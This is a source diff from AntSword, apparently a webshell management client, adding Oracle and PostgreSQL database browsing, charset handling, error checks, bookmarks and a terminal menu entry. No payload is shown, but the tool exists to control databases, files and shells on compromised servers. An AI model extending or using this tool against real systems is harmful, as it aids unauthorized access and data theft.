error: (err) => antSword.noxss(`加載插件中心失敗!\n${err}`)
},
update: {
title: '發現更新',
body: (ver) => `新的版本:${ver}, 查看更新日誌`,
},
viewsite: {
toolbar: {
useproxy: (s) => `代理: ${s?'開':'關'}`,
save: '保存',
view: '瀏覽'
},
saveSuccess: '保存Cookie成功!',
saveFailed: (err) => `保存Cookie失敗!\n${err}`
}
}
...@@ -79,10 +79,21 @@ class ASP { ...@@ -79,10 +79,21 @@ class ASP {
// 生成查询SQL语句 // 生成查询SQL语句
case 'column': case 'column':
let _co = arr[1].split(':'); let _co = arr[1].split(':');
const db = Buffer.from(_co[1], 'base64').toString();
const table = Buffer.from(_co[2], 'base64').toString(); const table = Buffer.from(_co[2], 'base64').toString();
const column = Buffer.from(_co[3], 'base64').toString(); const column = Buffer.from(_co[3], 'base64').toString();
let sql = "";
const sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`; switch(this.dbconf['type']){
case 'mysql':
sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`;
break;
case 'oracle':
sql = `SELECT "${table}"."${column}" FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`;
break;
default:
sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`;
break;
}
this.manager.query.editor.session.setValue(sql); this.manager.query.editor.session.setValue(sql);
break; break;
} }
...@@ -423,6 +434,9 @@ class ASP { ...@@ -423,6 +434,9 @@ class ASP {
}) })
).then((res) => { ).then((res) => {
let ret = res['text']; let ret = res['text'];
if(ret.indexOf("ERROR://") > -1) {
throw ret;
}
const arr = ret.split('\t'); const arr = ret.split('\t');
if (arr.length === 1 && ret === '') { if (arr.length === 1 && ret === '') {
toastr.warning(LANG['result']['warning'], LANG_T['warning']); toastr.warning(LANG['result']['warning'], LANG_T['warning']);
...@@ -466,6 +480,9 @@ class ASP { ...@@ -466,6 +480,9 @@ class ASP {
}) })
).then((res) => { ).then((res) => {
let ret = res['text']; let ret = res['text'];
if(ret.indexOf("ERROR://") > -1) {
throw ret;
}
const arr = ret.split('\t'); const arr = ret.split('\t');
const _db = Buffer.from(db).toString('base64'); const _db = Buffer.from(db).toString('base64');
// 删除子节点 // 删除子节点
...@@ -499,15 +516,35 @@ class ASP { ...@@ -499,15 +516,35 @@ class ASP {
_id: this.manager.opt['_id'], _id: this.manager.opt['_id'],
id: id id: id
}); });
let sql = "";
switch(conf['type']){
case "oracle":
// sql = `SELECT * FROM ${db}.${table} WHERE ROWNUM=0`;
sql = `SELECT COLUMN_NAME,DATA_TYPE,DATA_LENGTH FROM ALL_TAB_COLUMNS WHERE OWNER='${db}' AND TABLE_NAME='${table}' ORDER BY COLUMN_ID`;
break;
case 'sqlserver':
case 'sqloledb_1':
case 'sqloledb_1_sspi':
sql = `USE [${this.dbconf['database']}];SELECT TOP 0 * FROM ${table}`;
break;
case 'mysql':
sql = `SELECT * FROM ${table} LIMIT 0,0;`;
break;
default:
sql = `SELECT TOP 1 * FROM ${table} ORDER BY 1 DESC`;
break;
}
this.core.request( this.core.request(
this.core[`database_${conf['type']}`].show_columns( this.core[`database_${conf['type']}`].show_columns(
{ {
conn: conf['conn'], conn: conf['conn'],
table: conf['type'] === 'oracle' ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A) WHERE N=1` : `USE [${this.dbconf['database']}];SELECT TOP 0 * FROM ${table}` table: sql
}) })
).then((res) => { ).then((res) => {
let ret = res['text']; let ret = res['text'];
if(ret.indexOf("ERROR://") > -1) {
throw ret;
}
const arr = ret.split('\t'); const arr = ret.split('\t');
const _db = Buffer.from(db).toString('base64'); const _db = Buffer.from(db).toString('base64');
const _table = Buffer.from(table).toString('base64'); const _table = Buffer.from(table).toString('base64');
...@@ -526,11 +563,20 @@ class ASP { ...@@ -526,11 +563,20 @@ class ASP {
this.manager.list.imgs[3] this.manager.list.imgs[3]
); );
}); });
let presql = "";
switch(this.dbconf['type']){
case 'mysql':
presql = `SELECT * FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`;
break;
case 'oracle':
presql = `SELECT * FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`;
break;
default:
presql = `SELECT TOP 20 * from [${table}] ORDER BY 1 DESC;`;
break;
}
// 更新编辑器SQL语句 // 更新编辑器SQL语句
this.manager.query.editor.session.setValue( this.manager.query.editor.session.setValue(presql);
conf['type'] === 'oracle'
? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20`
: `SELECT TOP 20 * FROM ${table} ORDER BY 1 DESC;`);
this.manager.list.layout.progressOff(); this.manager.list.layout.progressOff();
}).catch((err) => { }).catch((err) => {
toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']); toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']);
...@@ -550,6 +596,9 @@ class ASP { ...@@ -550,6 +596,9 @@ class ASP {
}) })
).then((res) => { ).then((res) => {
let ret = res['text']; let ret = res['text'];
if(ret.indexOf("ERROR://") > -1) {
throw ret;
}
// 更新执行结果 // 更新执行结果
this.updateResult(ret); this.updateResult(ret);
this.manager.query.layout.progressOff(); this.manager.query.layout.progressOff();
......
...@@ -18,7 +18,7 @@ class CUSTOM { ...@@ -18,7 +18,7 @@ class CUSTOM {
this.conns = { this.conns = {
'mysql': 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456', 'mysql': 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456',
'sqlserver': 'com.microsoft.sqlserver.jdbc.SQLServerDriver\r\njdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456', 'sqlserver': 'com.microsoft.sqlserver.jdbc.SQLServerDriver\r\njdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456',
'oracle': 'oracle.jdbc.driver.OracleDriver\r\njdbc:oracle:thin:user/password@127.0.0.1:1521/test', 'oracle': 'oracle.jdbc.driver.OracleDriver\r\njdbc:oracle:thin:@127.0.0.1:1521/test\r\nuser\r\npassword',
}; };
// 1. 初始化TREE UI // 1. 初始化TREE UI
this.tree = this.manager.list.layout.attachTree(); this.tree = this.manager.list.layout.attachTree();
......
...@@ -218,6 +218,7 @@ class Database { ...@@ -218,6 +218,7 @@ class Database {
'mssql_close': 'MSSQL', 'mssql_close': 'MSSQL',
'sqlsrv_close': 'SQLSRV', 'sqlsrv_close': 'SQLSRV',
'ora_close': 'ORACLE', 'ora_close': 'ORACLE',
'oci_close': 'ORACLE_OCI8',
'ifx_close': 'INFORMIX', 'ifx_close': 'INFORMIX',
'sqlite_close': 'SQLite', 'sqlite_close': 'SQLite',
'pg_close': 'PostgreSQL', 'pg_close': 'PostgreSQL',
......
...@@ -70,15 +70,23 @@ class PHP { ...@@ -70,15 +70,23 @@ class PHP {
// 生成查询SQL语句 // 生成查询SQL语句
case 'column': case 'column':
let _co = arr[1].split(':'); let _co = arr[1].split(':');
const table = Buffer.from(_co[2], 'base64').toString(); const db = new Buffer.from(_co[1], 'base64').toString();
const column = Buffer.from(_co[3], 'base64').toString(); const table = new Buffer.from(_co[2], 'base64').toString();
const column = new Buffer.from(_co[3], 'base64').toString();
let sql = ""; let sql = "";
switch(this.dbconf['type']){ switch(this.dbconf['type']){
case 'mssql': case 'mssql':
case 'sqlsrv': case 'sqlsrv':
sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`; sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`;
break; break;
case 'oracle':
case 'oracle_oci8':
sql = `SELECT ${column} FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`;
break;
case 'postgresql':
case 'postgresql_pdo':
sql = `SELECT ${column} FROM ${table} ORDER BY 1 DESC LIMIT 20 OFFSET 0;`;
break;
default: default:
sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`;
break; break;
...@@ -253,6 +261,17 @@ class PHP { ...@@ -253,6 +261,17 @@ class PHP {
"utf16_general_ci","utf16_bin","utf16_unicode_ci","utf16_icelandic_ci","utf16_latvian_ci","utf16_romanian_ci","utf16_slovenian_ci","utf16_polish_ci","utf16_estonian_ci","utf16_spanish_ci","utf16_swedish_ci","utf16_turkish_ci","utf16_czech_ci","utf16_danish_ci","utf16_lithuanian_ci","utf16_slovak_ci","utf16_spanish2_ci","utf16_roman_ci","utf16_persian_ci","utf16_esperanto_ci","utf16_hungarian_ci","utf16_sinhala_ci", "utf16_general_ci","utf16_bin","utf16_unicode_ci","utf16_icelandic_ci","utf16_latvian_ci","utf16_romanian_ci","utf16_slovenian_ci","utf16_polish_ci","utf16_estonian_ci","utf16_spanish_ci","utf16_swedish_ci","utf16_turkish_ci","utf16_czech_ci","utf16_danish_ci","utf16_lithuanian_ci","utf16_slovak_ci","utf16_spanish2_ci","utf16_roman_ci","utf16_persian_ci","utf16_esperanto_ci","utf16_hungarian_ci","utf16_sinhala_ci",
], ],
}; };
this.encode_mapping = {
'mysql': ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'],
'mysqli': ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'],
'mssql': ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'],
'sqlsrv': ['utf-8', 'char'],
'oracle': ['UTF8','ZHS16GBK','ZHT16BIG5','ZHS16GBKFIXED','ZHT16BIG5FIXED'],
'oracle_oci8': ['UTF8','ZHS16GBK','ZHT16BIG5','ZHS16GBKFIXED','ZHT16BIG5FIXED'],
'postgresql': ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'],
'postgresql_pdo': ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'],
'informix': ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'],
}
} }
// 加载配置列表 // 加载配置列表
...@@ -322,69 +341,26 @@ class PHP { ...@@ -322,69 +341,26 @@ class PHP {
{ type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 }, { type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 },
{ type: 'block', inputWidth: 'auto', offsetTop: 12, list: [ { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [
{ type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: [ { type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: [
{ text: 'MYSQL', value: 'mysql', list: [ { text: 'MYSQL', value: 'mysql' },
{ text: 'MYSQLI', value: 'mysqli' },
{ type: 'settings', position: 'label-left', offsetLeft: 70, labelWidth: 90, inputWidth: 150 }, { text: 'MSSQL', value: 'mssql' },
{ type: 'label', label: LANG['form']['encode'] }, { text: 'SQLSRV', value: 'sqlsrv' },
{ type: 'combo', label: '', name: 'encode', options: (() => {
let ret = [];
['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'].map((_) => {
ret.push({
text: _,
value: _
});
})
return ret;
})() }
] },
{ text: 'MYSQLI', value: 'mysqli', list: [
{ type: 'settings', position: 'label-left', offsetLeft: 70, labelWidth: 90, inputWidth: 150 },
{ type: 'label', label: LANG['form']['encode'] },
{ type: 'combo', label: '', name: 'encode', options: (() => {
let ret = [];
['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'].map((_) => {
ret.push({
text: _,
value: _
});
})
return ret;
})() }
] },
{ text: 'MSSQL', value: 'mssql', list: [
{ type: 'settings', position: 'label-left', offsetLeft: 70, labelWidth: 90, inputWidth: 150 },
{ type: 'label', label: LANG['form']['encode'] },
{ type: 'combo', label: '', name: 'encode', options: (() => {
let ret = [];
['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'].map((_) => {
ret.push({
text: _,
value: _,
});
})
return ret;
})() }
] },
{ text: 'SQLSRV', value: 'sqlsrv', list: [
{ type: 'settings', position: 'label-left', offsetLeft: 70, labelWidth: 90, inputWidth: 150 },
{ type: 'label', label: LANG['form']['encode'] },
{ type: 'combo', label: '', name: 'encode', options: (() => {
let ret = [];
['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'].map((_) => {
ret.push({
text: _,
value: _,
});
})
return ret;
})() }
]},
{ text: 'ORACLE', value: 'oracle' }, { text: 'ORACLE', value: 'oracle' },
{ text: 'ORACLE_OCI8', value: 'oracle_oci8' },
{ text: 'PostgreSQL', value: 'postgresql' },
{ text: 'PostgreSQL_PDO', value: 'postgresql_pdo' },
{ text: 'INFORMIX', value: 'informix' } { text: 'INFORMIX', value: 'informix' }
] }, ] },
{ type: 'combo', label: LANG['form']['encode'], name: 'encode', options: ((c) => {
let ret = [];
this.encode_mapping[c].map((_)=>{
ret.push({
text: _,
value: _
});
});
return ret;
})("mysql")},
{ type: 'input', label: LANG['form']['host'], name: 'host', required: true, value: 'localhost' }, { type: 'input', label: LANG['form']['host'], name: 'host', required: true, value: 'localhost' },
{ type: 'input', label: LANG['form']['user'], name: 'user', required: true, value: 'root' }, { type: 'input', label: LANG['form']['user'], name: 'user', required: true, value: 'root' },
{ type: 'input', label: LANG['form']['passwd'], name: 'passwd', value: '' } { type: 'input', label: LANG['form']['passwd'], name: 'passwd', value: '' }
...@@ -393,6 +369,18 @@ class PHP { ...@@ -393,6 +369,18 @@ class PHP {
form.attachEvent('onChange', (_, id) => { form.attachEvent('onChange', (_, id) => {
if (_ !== 'type') { return }; if (_ !== 'type') { return };
var encodecmb = form.getCombo("encode");
encodecmb.clearAll();
encodecmb.setComboValue(null);
var ret = [];
this.encode_mapping[id].map((_)=>{
ret.push({
text: _,
value: _
});
});
encodecmb.addOption(ret);
encodecmb.selectOption(0);
switch(id) { switch(id) {
case 'mysql': case 'mysql':
case 'mysqli': case 'mysqli':
...@@ -416,6 +404,21 @@ class PHP { ...@@ -416,6 +404,21 @@ class PHP {
passwd: '' passwd: ''
}); });
break; break;
case 'oracle_oci8':
form.setFormData({
host: 'localhost/orcl',
user: '',
passwd: '',
})
break;
case 'postgresql':
case 'postgresql_pdo':
form.setFormData({
host: 'localhost:5432',
user: 'postgres',
passwd: '',
});
break;
default: default:
form.setFormData({ form.setFormData({
user: 'dbuser', user: 'dbuser',
...@@ -528,109 +531,72 @@ class PHP { ...@@ -528,109 +531,72 @@ class PHP {
{ type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 }, { type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 },
{ type: 'block', inputWidth: 'auto', offsetTop: 12, list: [ { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [
{ type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: [ { type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: [
{ text: 'MYSQL', value: 'mysql', selected: conf['type'] === 'mysql', list: [ { text: 'MYSQL', value: 'mysql', selected: conf['type'] === 'mysql' },
{ text: 'MYSQLI', value: 'mysqli', selected: conf['type'] === 'mysqli' },
{ type: 'settings', position: 'label-left', offsetLeft: 70, labelWidth: 90, inputWidth: 150 }, { text: 'MSSQL', value: 'mssql', selected: conf['type'] === 'mssql' },
{ type: 'label', label: LANG['form']['encode'] }, { text: 'SQLSRV', value: 'sqlsrv', selected: conf['type'] === 'sqlsrv' },
{ type: 'combo', label: '', name: 'encode', options: (() => {
let ret = [];
['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'].map((_) => {
ret.push({
text: _,
value: _,
selected: conf['encode'] === _
});
})
return ret;
})() }
] },
{ text: 'MYSQLI', value: 'mysqli', selected: conf['type'] === 'mysqli', list: [
{ type: 'settings', position: 'label-left', offsetLeft: 70, labelWidth: 90, inputWidth: 150 },
{ type: 'label', label: LANG['form']['encode'] },
{ type: 'combo', label: '', name: 'encode', options: (() => {
let ret = [];
['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'].map((_) => {
ret.push({
text: _,
value: _,
selected: conf['encode'] === _
});
})
return ret;
})() }
] },
{ text: 'MSSQL', value: 'mssql', selected: conf['type'] === 'mssql', list: [
{ type: 'settings', position: 'label-left', offsetLeft: 70, labelWidth: 90, inputWidth: 150 },
{ type: 'label', label: LANG['form']['encode'] },
{ type: 'combo', label: '', name: 'encode', options: (() => {
let ret = [];
['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'].map((_) => {
ret.push({
text: _,
value: _,
});
})
return ret;
})() }
] },
{ text: 'SQLSRV', value: 'sqlsrv', selected: conf['type'] === 'sqlsrv', list: [
{ type: 'settings', position: 'label-left', offsetLeft: 70, labelWidth: 90, inputWidth: 150 },
{ type: 'label', label: LANG['form']['encode'] },
{ type: 'combo', label: '', name: 'encode', options: (() => {
let ret = [];
['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'].map((_) => {
ret.push({
text: _,
value: _,
selected: conf['encode'] === _
});
})
return ret;
})() }
]},
{ text: 'ORACLE', value: 'oracle', selected: conf['type'] === 'oracle' }, { text: 'ORACLE', value: 'oracle', selected: conf['type'] === 'oracle' },
{ text: 'ORACLE_OCI8', value: 'oracle_oci8', selected: conf['type'] === 'oracle_oci8' },
{ text: 'PostgreSQL', value: 'postgresql', selected: conf['type'] === 'postgresql' },
{ text: 'PostgreSQL_PDO', value: 'postgresql_pdo', selected: conf['type'] === 'postgresql_pdo' },
{ text: 'INFORMIX', value: 'informix', selected: conf['type'] === 'informix' } { text: 'INFORMIX', value: 'informix', selected: conf['type'] === 'informix' }
] }, ] },
{ type: 'combo', label: LANG['form']['encode'], name: 'encode', options: ((c) => {
let ret = [];
this.encode_mapping[c].map((_)=>{
ret.push({
text: _,
value: _,
selected: conf['encode'] === _
});
});
return ret;
})(conf["type"])},
{ type: 'input', label: LANG['form']['host'], name: 'host', required: true, value: conf['host'] }, { type: 'input', label: LANG['form']['host'], name: 'host', required: true, value: conf['host'] },
{ type: 'input', label: LANG['form']['user'], name: 'user', required: true, value: conf['user'] }, { type: 'input', label: LANG['form']['user'], name: 'user', required: true, value: conf['user'] },
{ type: 'input', label: LANG['form']['passwd'], name: 'passwd', value: conf['passwd'] } { type: 'input', label: LANG['form']['passwd'], name: 'passwd', value: conf['passwd'] }
]} ]}
], true); ], true);
form.attachEvent('onChange', (_, id) => { form.attachEvent('onChange', (_, id, state) => {
if (_ == 'type') { if (_ == 'type') {
var encodecmb = form.getCombo("encode");
encodecmb.clearAll();
encodecmb.setComboValue(null);
var ret = [];
this.encode_mapping[id].map((_)=>{
ret.push({
text: _,
value: _,
selected: conf['encode'] === _
});
});
encodecmb.addOption(ret);
encodecmb.selectOption(this.encode_mapping[id].indexOf(conf['encode']) == -1 ? 0 : this.encode_mapping[id].indexOf(conf['encode']));
switch(id) { switch(id) {
case 'mysql': case 'mysql':
case 'mysqli': case 'mysqli':
form.setFormData({ form.setFormData({
encode: conf['encode'], // encode: conf['encode'],
user: conf['user'], user: conf['user'],
passwd: conf['passwd'] passwd: conf['passwd']
}); });
break; break;
case 'mssql': case 'mssql':
form.setFormData({ form.setFormData({
encode: conf['encode'], // encode: conf['encode'],
user: conf['user'], user: conf['user'],
passwd: conf['passwd'] passwd: conf['passwd']
}); });
break; break;
default: default:
form.setFormData({ form.setFormData({
encode: conf['encode'], // encode: conf['encode'],
user: conf['user'], user: conf['user'],
passwd: conf['passwd'] passwd: conf['passwd']
}); });
} }
}; };
if(_ == 'encode') {
form.setFormData({
encode: id,
});
}
}); });
// 工具栏点击事件 // 工具栏点击事件
...@@ -1402,6 +1368,9 @@ class PHP { ...@@ -1402,6 +1368,9 @@ class PHP {
}) })
).then((res) => { ).then((res) => {
let ret = res['text']; let ret = res['text'];
if(ret.indexOf("ERROR://") > -1) {
throw ret;
}
const arr = ret.split('\t'); const arr = ret.split('\t');
if (arr.length === 1 && ret === '') { if (arr.length === 1 && ret === '') {
toastr.warning(LANG['result']['warning'], LANG_T['warning']); toastr.warning(LANG['result']['warning'], LANG_T['warning']);
...@@ -1446,6 +1415,9 @@ class PHP { ...@@ -1446,6 +1415,9 @@ class PHP {
}) })
).then((res) => { ).then((res) => {
let ret = res['text']; let ret = res['text'];
if(ret.indexOf("ERROR://") > -1) {
throw ret;
}
const arr = ret.split('\t'); const arr = ret.split('\t');
const _db = Buffer.from(db).toString('base64'); const _db = Buffer.from(db).toString('base64');
// 删除子节点 // 删除子节点
...@@ -1490,6 +1462,9 @@ class PHP { ...@@ -1490,6 +1462,9 @@ class PHP {
}) })
).then((res) => { ).then((res) => {
let ret = res['text']; let ret = res['text'];
if(ret.indexOf("ERROR://") > -1) {
throw ret;
}
const arr = ret.split('\t'); const arr = ret.split('\t');
const _db = Buffer.from(db).toString('base64'); const _db = Buffer.from(db).toString('base64');
const _table = Buffer.from(table).toString('base64'); const _table = Buffer.from(table).toString('base64');
...@@ -1515,6 +1490,14 @@ class PHP { ...@@ -1515,6 +1490,14 @@ class PHP {
case 'sqlsrv': case 'sqlsrv':
presql = `SELECT TOP 20 * from [${table}] ORDER BY 1 DESC;`; presql = `SELECT TOP 20 * from [${table}] ORDER BY 1 DESC;`;
break; break;
case 'oracle':
case 'oracle_oci8':
presql = `SELECT * FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`;
break;
case 'postgresql':
case 'postgresql_pdo':
presql = `SELECT * FROM ${table} ORDER BY 1 DESC LIMIT 20 OFFSET 0;`;
break;
default: default:
presql = `SELECT * FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; presql = `SELECT * FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`;
break; break;
...@@ -1592,8 +1575,31 @@ class PHP { ...@@ -1592,8 +1575,31 @@ class PHP {
for (let i = 0; i < _data.length; i ++) { for (let i = 0; i < _data.length; i ++) {
let buff = Buffer.from(_data[i], "base64"); let buff = Buffer.from(_data[i], "base64");
let encoding = Decodes.detectEncoding(buff, {defaultEncoding: "unknown"}); let encoding = Decodes.detectEncoding(buff, {defaultEncoding: "unknown"});
encoding = encoding != "unknown" ? encoding : this.dbconf['encode']; if(encoding == "unknown") {
encoding = encoding != "" ? encoding : this.opt['encode']; switch(this.dbconf['type']){
case 'sqlsrv':
var sqlsrv_conncs_mapping = {
'utf-8': 'utf8',
'char': '',
}
encoding = sqlsrv_conncs_mapping[this.dbconf['encode']] || '';
break;
case 'oracle_oci8':
var oci8_characterset_mapping = {
'UTF8': 'utf8',
'ZHS16GBK':'gbk',
'ZHT16BIG5': 'big5',
'ZHS16GBKFIXED': 'gbk',
'ZHT16BIG5FIXED': 'big5',
}
encoding = oci8_characterset_mapping[this.dbconf['encode']] || '';
break;
default:
encoding = this.dbconf['encode'] || '';
break;
}
}
encoding = encoding != "" ? encoding : this.opt.core.__opts__['encode'];
let text = Decodes.decode(buff, encoding); let text = Decodes.decode(buff, encoding);
_data[i] = antSword.noxss(text); _data[i] = antSword.noxss(text);
} }
...@@ -1631,8 +1637,31 @@ class PHP { ...@@ -1631,8 +1637,31 @@ class PHP {
// _data[i] = antSword.noxss(new Buffer(_data[i], "base64").toString(), false); // _data[i] = antSword.noxss(new Buffer(_data[i], "base64").toString(), false);
let buff = new Buffer.from(_data[i], "base64"); let buff = new Buffer.from(_data[i], "base64");
let encoding = Decodes.detectEncoding(buff, {defaultEncoding: "unknown"}); let encoding = Decodes.detectEncoding(buff, {defaultEncoding: "unknown"});
encoding = encoding != "unknown" ? encoding : this.dbconf['encode']; if(encoding == "unknown") {
encoding = encoding != "" ? encoding : this.opt['encode']; switch(this.dbconf['type']){
case 'sqlsrv':
var sqlsrv_conncs_mapping = {
'utf-8': 'utf8',
'char': '',
}
encoding = sqlsrv_conncs_mapping[this.dbconf['encode']] || '';
break;
case 'oracle_oci8':
var oci8_characterset_mapping = {
'UTF8': 'utf8',
'ZHS16GBK':'gbk',
'ZHT16BIG5': 'big5',
'ZHS16GBKFIXED': 'gbk',
'ZHT16BIG5FIXED': 'big5',
}
encoding = oci8_characterset_mapping[this.dbconf['encode']] || '';
break;
default:
encoding = this.dbconf['encode'] || '';
break;
}
}
encoding = encoding != "" ? encoding : this.opt.core.__opts__['encode'];
let text = Decodes.decode(buff, encoding); let text = Decodes.decode(buff, encoding);
_data[i] = antSword.noxss(text, false); _data[i] = antSword.noxss(text, false);
} }
......
...@@ -5,6 +5,7 @@ ...@@ -5,6 +5,7 @@
const LANG_T = antSword['language']['toastr']; const LANG_T = antSword['language']['toastr'];
const LANG = antSword['language']['filemanager']['files']; const LANG = antSword['language']['filemanager']['files'];
const clipboard = require('electron').clipboard; const clipboard = require('electron').clipboard;
const Terminal = require('../terminal/');
class Files { class Files {
...@@ -27,13 +28,26 @@ class Files { ...@@ -27,13 +28,26 @@ class Files {
text: LANG['bookmark']['add'], text: LANG['bookmark']['add'],
enabled: !bookmark[manager.path] enabled: !bookmark[manager.path]
}]; }];
let global_bookmarks = manager.config.bookmarks || {};
if(Object.keys(global_bookmarks).length > 0) {
bookmark_opts.push({type: 'separator'});
for(let gb in global_bookmarks) {
bookmark_opts.push({
id: 'bookmark_'+ global_bookmarks[gb],
text: antSword.noxss(gb),
icon: 'bookmark',
type: 'button',
enabled: manager.path !== global_bookmarks[gb]
});
}
}
if (!$.isEmptyObject(bookmark)) { if (!$.isEmptyObject(bookmark)) {
bookmark_opts.push({ type: 'separator' }); bookmark_opts.push({ type: 'separator' });
}; };
for (let _ in bookmark) { for (let _ in bookmark) {
bookmark_opts.push({ bookmark_opts.push({
id: 'bookmark_' + _, id: 'bookmark_' + _,
text: bookmark[_], text: antSword.noxss(bookmark[_]),
icon: 'bookmark-o', icon: 'bookmark-o',
type: 'button', type: 'button',
enabled: manager.path !== _ enabled: manager.path !== _
...@@ -359,7 +373,10 @@ class Files { ...@@ -359,7 +373,10 @@ class Files {
{ text: LANG['grid']['contextmenu']['create']['title'], icon: 'fa fa-plus-circle', subMenu: [ { text: LANG['grid']['contextmenu']['create']['title'], icon: 'fa fa-plus-circle', subMenu: [
{ text: LANG['grid']['contextmenu']['create']['folder'], icon: 'fa fa-folder-o', action: manager.createFolder.bind(manager) }, { text: LANG['grid']['contextmenu']['create']['folder'], icon: 'fa fa-folder-o', action: manager.createFolder.bind(manager) },
{ text: LANG['grid']['contextmenu']['create']['file'], icon: 'fa fa-file-o', action: manager.createFile.bind(manager) } { text: LANG['grid']['contextmenu']['create']['file'], icon: 'fa fa-file-o', action: manager.createFile.bind(manager) }
] } ] },
{ text: LANG['grid']['contextmenu']['terminal'], icon: 'fa fa-terminal', action: () => {
new Terminal(self.manager.opts, {'path': self.manager.path});
}}
]; ];
bmenu(menu, event); bmenu(menu, event);
......
...@@ -41,6 +41,7 @@ class FileManager { ...@@ -41,6 +41,7 @@ class FileManager {
let config = { let config = {
openfileintab: false, openfileintab: false,
bookmarks: {},
}; };
this.config = JSON.parse(antSword['storage']("adefault_filemanager", false, JSON.stringify(config))); this.config = JSON.parse(antSword['storage']("adefault_filemanager", false, JSON.stringify(config)));
......
...@@ -23,6 +23,10 @@ class About { ...@@ -23,6 +23,10 @@ class About {
<a href="http://doc.u0u.us"><i class="fa fa-book"></i> ${LANG['document']}</a> / <a href="http://doc.u0u.us"><i class="fa fa-book"></i> ${LANG['document']}</a> /
<a href="https://discord.gg/Uzh5nUf"><i class="fa fa-comments"></i> ${LANG['discord']}</a> <a href="https://discord.gg/Uzh5nUf"><i class="fa fa-comments"></i> ${LANG['discord']}</a>
</p> </p>
<div>
<img src="ant-static://imgs/qrcode.jpg" style="width:100px;"/>
<p style="color: #795548;transition: all .5s linear;font-size: 14px;">${LANG['wechat']}</p>
</div>
</div> </div>
`); `);
......
...@@ -8,6 +8,7 @@ const LANG_T = antSword['language']['toastr']; ...@@ -8,6 +8,7 @@ const LANG_T = antSword['language']['toastr'];
class ADefault { class ADefault {
constructor(sidebar) { constructor(sidebar) {
var self = this;
sidebar.addItem({ sidebar.addItem({
id: 'adefault', id: 'adefault',
text: `<i class="fa fa-sliders"></i> ${LANG['title']}` text: `<i class="fa fa-sliders"></i> ${LANG['title']}`
...@@ -16,10 +17,16 @@ class ADefault { ...@@ -16,10 +17,16 @@ class ADefault {
const default_config = { const default_config = {
filemanager: { filemanager: {
openfileintab: false, openfileintab: false,
bookmarks: {},
}, },
}; };
// 读取配置 // 读取配置
const filemanager_settings = JSON.parse(antSword['storage']("adefault_filemanager", false, JSON.stringify(default_config.filemanager))); const filemanager_settings = JSON.parse(antSword['storage']("adefault_filemanager", false, JSON.stringify(default_config.filemanager)));
this.filemanager_settings = filemanager_settings;
if(!this.filemanager_settings.bookmarks){
